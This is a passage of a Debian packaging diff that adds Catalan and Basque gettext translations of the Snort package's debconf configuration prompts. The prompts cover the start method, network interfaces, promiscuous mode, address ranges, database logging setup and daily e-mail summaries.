+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"El fitxer de configuració actual (/etc/snort/snort.conf) utilitza opcions "
+"obsoletes que ja no estaran disponibles per a aquesta versió del Snort. No "
+"el podreu iniciar si no utilitzeu un fitxer de configuració correcte. Podeu "
+"substituir el fitxer de configuració pel proporcionat pel paquet o arreglar-"
+"lo manualment suprimint les opcions obsoletes."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in your configuration file: "
+#| "${DEP_CONFIG}"
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"S'han trobat les opcions obsoletes següents:\n"
+"${DEP_CONFIG}"
+
+#, fuzzy
+#~| msgid "You are running Snort manually."
+#~ msgid "You are running Snort manually"
+#~ msgstr "Esteu executant el Snort manualment."
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Hi ha una error en la configuració"
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "El fitxer de configuració és obsolet"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "arrencada, marcatge directe, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Quan s'hauria d'iniciar el Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Per no establir una relació de confiança amb cap part de la xarxa, podeu "
+#~ "especificar 'any'."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si canvieu l'ordre de comprovació de les regles del Snort per Pass|Alert|"
+#~ "Log, s'aplicaran en l'ordre Pass->Alert->Log, en comptes de l'estàndard "
+#~ "Alert->Pass->Log. Aquesta opció permetrà que els usuaris no hagin "
+#~ "d'utilitzar una gran quantitat d'arguments de la línia d'ordres del Berky "
+#~ "Packet Filter per filtrar les regles d'alerta."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Una tasca programada diàriament resumirà la informació dels registres del "
+#~ "Snort utilitzant una seqüència anomenada 'snort-stat'. Introduïu el "
+#~ "destinatari dels correus electrònics. El valor predeterminat és "
+#~ "l'administrador del sistema. Si manteniu el valor assegureu-vos que el "
+#~ "correu electrònic de l'administrador es redireccioni a una usuari que "
+#~ "llegeixi els missatges."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr "Si voleu definir opcions personalitzades del Snort, feu-ho aquí."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Per fer efectius els canvis reinicieu el Snort utilitzant:\n"
+#~ " /etc/init.d/snort start"
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "La configuració del Snort no és correcte i no es podrà iniciar "
+#~ "correctament. Reviseu la configuració i arregleu-ne els errors. Si no ho "
+#~ "feu probablement no es podran realitzar correctament les actualitzacions "
+#~ "del paquet Snort. Per comprovar l'error executeu l'ordre '/usr/sbin/snort "
+#~ "-T -c /etc/snort/snort.conf' (si utilitzeu diferents fitxers per a "
+#~ "diferents interfícies feu referència a un altre fitxer de configuració)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Aquestes tasques només les heu de realitzar la primera vegada que "
+#~ "instal·leu el snort-mysql. Abans de continuar assegureu-vos de tenir(1) "
+#~ "el nom d'un servidor central on s'estigui executant un servidor de mysql "
+#~ "que permeti connexions tcp d'aquest ordinador. (2) una base de dades, (3) "
+#~ "un nom d'usuari i una contrasenya per accedir-hi. Si no teniu tots els "
+#~ "elements de la llista, solucioneu-ho o seleccioneu l'opció 'no' i "
+#~ "utilitzeu el suport tradicional de registre per fitxer. Posteriorment, "
+#~ "sempre podreu configurar el mode de registre reconfigurant el paquet "
+#~ "snort-mysql utilitzant 'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Assegureu-vos que l'usuari estigui creat i tingui permís d'escriptura."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "El Snort necessita una base de dades configurada per registrar-hi les "
+#~ "dades."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Aquestes tasques només les heu de dur a terme la primera vegada que "
+#~ "instal·leu el snort-pgsql. Abans de continuar assegureu-vos de tenir(1) "
+#~ "el nom d'un servidor central on s'estigui executant el servidor de pgsql "
+#~ "i que permeti connexions tcp d'aquest ordinador. (2) una base de dades en "
+#~ "aquest servidor. (3) un nom d'usuari i una contrasenya per accedir a la "
+#~ "base de dades. Si no teniu tots els elements de la llista, solucioneu-ho "
+#~ "o seleccioneu l'opció 'no' i utilitzeu el suport tradicional de registre "
+#~ "per fitxer. Posteriorment, sempre podreu configurar el mode de registre "
+#~ "reconfigurant el paquet snort-pgsql a través de l'ordre 'dpkg-reconfigure "
+#~ "-plow snort-pgsql'"
+
+#, fuzzy
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Creeu l'estructura de la base de dades utilitzant l'ordre següent:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_pgsql.gz | pgsql -U <usuari> -h <ordinador central> -W <nom "
+#~ "base de dades>\n"
+#~ "Ompliu correctament les dades de l'usuari, ordinador central i nom de la "
+#~ "base de dades. El PostgreSQL us demanarà la contrasenya."
+
+#~ msgid "On which interface(s) should Snort listen?"
+#~ msgstr "Quina interfície(s) hauria d'escoltar el Snort?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introduïu el nom de la interfície(s) que hauria d'escoltar el snort. El "
+#~ "nom de les interfícies disponibles el podeu aconseguir executant l'ordre "
+#~ "'ip link show'. El valor acostuma a ser 'eth0', però us pot interessar "
+#~ "modificar-lo en funció de l'entorn, si utilitzeu el marcatge directe "
+#~ "probablement us interessi més el valor 'ppp0'."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Introduïu el rang d'adreces que escoltarà el Snort."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Si esteu configurant el Snort en una interfície sense una adreça d'IP "
+#~ "inhabiliteu el mode promiscu."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Introduïu el nom de l'ordinador central del servidor de base de dades de "
+#~ "MySQL a utilitzar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Introduïu el nom de la base de dades a utilitzar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Introduïu el nom de usuari de la base de dades que voleu utilitzar."
+
+#~ msgid "Please enter the password for the database connection."
+#~ msgstr "Introduïu la contrasenya per a la connexió amb la base de dades."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Introduïu el nom de l'ordinador central del servidor de base de dades de "
+#~ "pgsql  a utilitzar."
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters) which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "El sistema té un fitxer de configuració obsolet (/etc/snort/snort.common."
+#~ "parameters) que s'ha convertit automàticament al nou format de fitxer de "
+#~ "configuració (a /etc/default/snort). Comproveu el nou fitxer de "
+#~ "configuració i suprimiu l'obsolet. Fins que no ho feu, la seqüència de "
+#~ "l'init.d no utilitzarà la nova configuració i no podreu utilitzar les "
+#~ "característiques afegides en les noves versions."
+
+#, fuzzy
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters)  which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "El sistema té un fitxer de configuració obsolet (/etc/snort/snort.common."
+#~ "parameters) que s'ha convertit automàticament al nou format de fitxer de "
+#~ "configuració (a /etc/default/snort). Comproveu el nou fitxer de "
+#~ "configuració i suprimiu l'obsolet. Fins que no ho feu, la seqüència de "
+#~ "l'init.d no utilitzarà la nova configuració i no podreu utilitzar les "
+#~ "característiques afegides en les noves versions."
+
+#, fuzzy
+#~ msgid ""
+#~ "Your system has an obsolete configuration file   (/etc/snort/snort.common."
+#~ "parameters)  which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "El sistema té un fitxer de configuració obsolet (/etc/snort/snort.common."
+#~ "parameters) que s'ha convertit automàticament al nou format de fitxer de "
+#~ "configuració (a /etc/default/snort). Comproveu el nou fitxer de "
+#~ "configuració i suprimiu l'obsolet. Fins que no ho feu, la seqüència de "
+#~ "l'init.d no utilitzarà la nova configuració i no podreu utilitzar les "
+#~ "característiques afegides en les noves versions."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on. The names of the available interfaces are provided by either running "
+#~ "'ip link show' of 'ifconfig'. This value usually is 'eth0', but you might "
+#~ "want to vary this depending on your environment, if you are using a "
+#~ "dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introduïu el nom de la interfície(s) que hauria d'escoltar el snort. El "
+#~ "nom de les interfícies disponibles el podeu aconseguir executant l'ordre "
+#~ "'ip link show'. El valor acostuma a ser 'eth0', però us pot interessar "
+#~ "modificar-lo en funció de l'entorn, si utilitzeu el marcatge directe "
+#~ "probablement us interessi més el valor 'ppp0'."
+
+#~ msgid "On which interface should Snort listen?"
+#~ msgstr "Quina interfície hauria d'escoltar el Snort?"
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Recordeu que el Snort acostuma a estar configurat per analitzar tot el "
+#~ "tràfic d'internet, la interfície a afegir acostuma a ser la mateixa que "
+#~ "la de la 'ruta per defecte'. Podeu obtenir-la executant l'ordre 'ip route "
+#~ "show' o '/sbin/route -n' (cerqueu 'default' o '0.0.0.0')."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "S'hauria d'inhabilitar el mode promiscu de la interfície?"
+
+#~ msgid "What address range should Snort consider to be local?"
+#~ msgstr "Quin rang d'adreces hauria de considerar local el Snort?"
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one.  Specify multiple addresses on a single "
+#~ "line, seperated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Heu d'utilitzar el format CIDR, ex. 192.168.1.0/24 per un bloc de 256 IPs "
+#~ "o 192.268.1.42/32 per únicament una.  Especifiqueu múltiples adreces "
+#~ "separades per ',' (caràcters de coma) i en una sola línia. Els espais no "
+#~ "estan permesos!"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that Snort will only see packets "
+#~ "addressed to its own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Si s'inhabilita el mode promiscu, el Snort únicament veurà els paquets "
+#~ "adreçats a la seva pròpia interfície. Cal que l'habiliteu per comprovar "
+#~ "cada paquet que passa per la xarxa ethernet, encara que sigui entre "
+#~ "altres ordinadors."
+
+#~ msgid "When should snort be started?"
+#~ msgstr "Quan s'hauria d'iniciar el Snort?"
+
+#~ msgid "Please enter the address range that snort will listen on."
+#~ msgstr "Introduïu el rang d'adreces que escoltarà el Snort."
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one. Specify multiple addresses on a single "
+#~ "line, separated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Heu d'utilitzar el format CIDR, ex. 192.168.1.0/24 per un bloc de 256 IPs "
+#~ "o 192.268.1.42/32 per únicament una.  Especifiqueu múltiples adreces "
+#~ "separades per ',' (caràcters de coma) i en una sola línia. Els espais no "
+#~ "estan permesos!"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that snort will only see packets "
+#~ "addressed to it's own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Si s'inhabilita el mode promiscu, el Snort únicament veurà els paquets "
+#~ "adreçats a la seva pròpia interfície. Cal que l'habiliteu per comprovar "
+#~ "cada paquet que passa per la xarxa ethernet, encara que sigui entre "
+#~ "altres ordinadors."
+
+#~ msgid "Should snort's rules testing order be changed to Pass|Alert|Log?"
+#~ msgstr ""
+#~ "S'hauria de canviar l'ordre de comprovació de les regles del Snort per "
+#~ "Pass|Alert|Log?"
+
+#~ msgid ""
+#~ "If you change snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge BPF command line "
+#~ "arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si canvieu l'ordre de comprovació de les regles del Snort per Pass|Alert|"
+#~ "Log, s'aplicaran en l'ordre Pass->Alert->Log, en compte del estàndard "
+#~ "Alert->Pass->Log. Aquesta opció permetrà que els usuaris no hagin "
+#~ "d'utilitzar una grna quantitat d'arguments de la línia d'ordres de BPF "
+#~ "per filtrar les regles d'alerta."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have the following things at hand: - The "
+#~ "hostname of a machine running a pgsql server, set up to allow TCP\n"
+#~ "  connections to the database (from this host).\n"
+#~ "- A database on the database server - A username and password for a user "
+#~ "that has write access to this database. If you don't have _all_ of these, "
+#~ "either select 'no' and run with regular file logging support, or fix this "
+#~ "first. You can always configure database logging later, by reconfiguring "
+#~ "the snort-pgsql package."
+#~ msgstr ""
+#~ "Aquestes tasques només les heu de realitzar la primera vegada que "
+#~ "instal·leu el snort-mysql. Abans de continuar assegureu-vos de tenir(1) "
+#~ "el nom d'un servidor central on s'estigui executant el servidor de PgSQL "
+#~ "i que permeti connexions tcp d'aquest ordinador. (2) una base de dades en "
+#~ "aquest servidor. (3) un nom d'usuari i una contrasenya per accedir a la "
+#~ "base de dades. Si no teniu tots els elements de la llista, solucioneu-ho "
+#~ "o seleccioneu l'opció 'no' i utilitzeu el suport tradicional de registre "
+#~ "per fitxer. Posteriorment, sempre podreu configurar el mode de registre "
+#~ "reconfigurant el paquet snort-pgsql."
+
+#~ msgid ""
+#~ "Please create the database structure now, using the following command:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <user> -h <host> <databasename>\n"
+#~ "Filling in the correct values for the user, host, and database names. The "
+#~ "pgsql tool will prompt you for the password."
+#~ msgstr ""
+#~ "Creeu l'estructura de la base de dades utilitzant la següent ordre:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | pgsql -u <usuari> -h <ordinador central> "
+#~ "<nom base de dades>\n"
+#~ "Omplint correctament les dades de l'usuari, ordinador central i nom de la "
+#~ "base de dades. El PgSQL us demanarà la contrasenya."
+
+#~ msgid "Please enter a password to connect to the SNORT Alert database"
+#~ msgstr ""
+#~ "Introduïu la contrasenya per la connexió a la base dades d'alerta de "
+#~ "l'Stnort"
+
+#~ msgid "You are running snort manually."
+#~ msgstr "Esteu executant el Snort manualment."
+
+#~ msgid ""
+#~ "Please restart snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Per l'efectivitat dels canvis reinicieu el Snort utilitzant:\n"
+#~ " /etc/init.d/snort start\n"
--- snort-2.8.5.2.orig/debian/po/eu.po
+++ snort-2.8.5.2/debian/po/eu.po
@@ -0,0 +1,602 @@
+# translation of snort-eu.po to Euskara
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+#
+# Piarres Beobide <pi@beobide.net>, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort-eu\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-30 12:13+0200\n"
+"Last-Translator: Piarres Beobide <pi@beobide.net>\n"
+"Language-Team: Euskara <debian-l10n-basque@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "abioan"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "markatzean"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "eskuz"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Snort abiarazteko metodoa:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort sistema abioan, sarera pppd bidez konektatzean edo eskuz /usr/sbin/"
+"snort komandoa erabiliaz abiarazi daiteke."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Snort-ek entzun behar duen interfazea(k):"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Balio hau arruntean 'eth0' da, baina hau baliogabea izan daiteke zenbait "
+"sare inguruneetan markaketa bidezko konexioetarako 'ppp0' izan daiteke "
+"egokiagoa (begiratu '/sbin/ifconfig' irteeran)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalean hau 'default route' (lehenetsiriko bidea) ezarria duen interfazea "
+"da. Zein interfaze erabiltzen den jakiteko '/sbin/route -n' komandoaren "
+"irteera begiratu ('0.0.0.0' bilatu)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Ez da guztiz arraroa ere promiskuoa moduan konfiguratutako IP gabeko "
+"interfaze bat erabiltzea ere. Kasu hauetan gainbegiratu behar den sarera "
+"konektaturik dagoen interfazea hautatu, promiskuo modua gaitu eta ziurtatu "
+"sareko trafikoa interfaze honetara bidaltzen dela (ataka ispilu/spanning "
+"port batetan switch batetan, hub batetan edo \"tap\" batetan)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Interfaze anitz konfiguratu ditzakezu, interfaze izenak bata bestean atzean "
+"zuriune batez bereizirik. Interfaze bakoitzak bere konfigurazio berezia izan "
+"dezake."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Sare lokaleko helbide tartea:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Mesedez erabili CIDR formatua - adibidez, 192.168.1.0/24 256 helbideetako "
+"bloke batentzat edo 192.168.1.42/32 bakar batentzat. Balio ezberdinak gakoz "
+"bereizi behar dira (hutsunerik gabe)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Mesedez kontutan izan Snort interfaze anitz erabiltzeko konfiguraturik "
+"dagoela, balio hau HOME_NET definizio bezala erabiliko da guztietan."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort-ek modu promiskuoa ezgaitu behar al du interfaze guztietan?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Modu promiskuoa ezgaitzeak Snort-ek monitorizatzen ari den interfazerako "
+"diren paketeak bakarrik ikustea eragingo du. Berau gaitzean Snort ethernet "
+"segmentutik pasatzen diren pakete guztiak arakatzeko aukera ematen dio nahiz "
+"beste bi ordenagailuen arteko konexio bat denean."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfaze baliogabea"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort edo ez dagoen edo konexio gabe dagoen interfaze bat erabiltzen "
+"saiatzen ari da. Edo modu okerrean 'eth0' lehenespena da, edo interfaze "
+"baliogabe bat ezarri duzu."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Snort probatze ordena Pasa|Alerta|Erregistro-ra aldatu?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Snort-en proba orden lehenetsia Alerta|Pasa|Erregistroa da; aukera hau "
+"onartzen baduzu berau Pasa|Alerta|Erregistroa izatera pasako da zenbait "
+"pakete-iragazte lanabesekin Snort erabiltzea errazagoa izan dadin."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Eguneko laburpena eposta bidez bidali behar al da?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Cron lan bat ezarri daiteke Snort erregistroen eguneko laburpena hautatutako "
+"eposta helbidera bidali dadin."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Mesedez hautatu ezaugarri hau gaitu nahi duzun."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Eguneroko estatistika eposta hartzailea:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Mesedez ezarri Snort erregistroen eguneroko laburpena jaso behar duen eposta "
+"helbidea."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Aukera pertsonal gehigarriak:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Mesedez ezarri Snort-ek erabili behar duen edozein aukera gehigarri."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Alertak erreportatzeko errepikatze gutxienekoa:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Mesedez ezarri alerta bat eguneroko estatistiketan sartzeko gertatu behar "
+"diren gutxieneko errepikapenak."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort berrabiaraztea beharrezkoa"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Snort eskuz abiarazirik dagoenez, '/etc/init.d/snort' exekutatu behar duzu "
+"aldaketak egiteko."
+
+#. Type: error
+#. Description
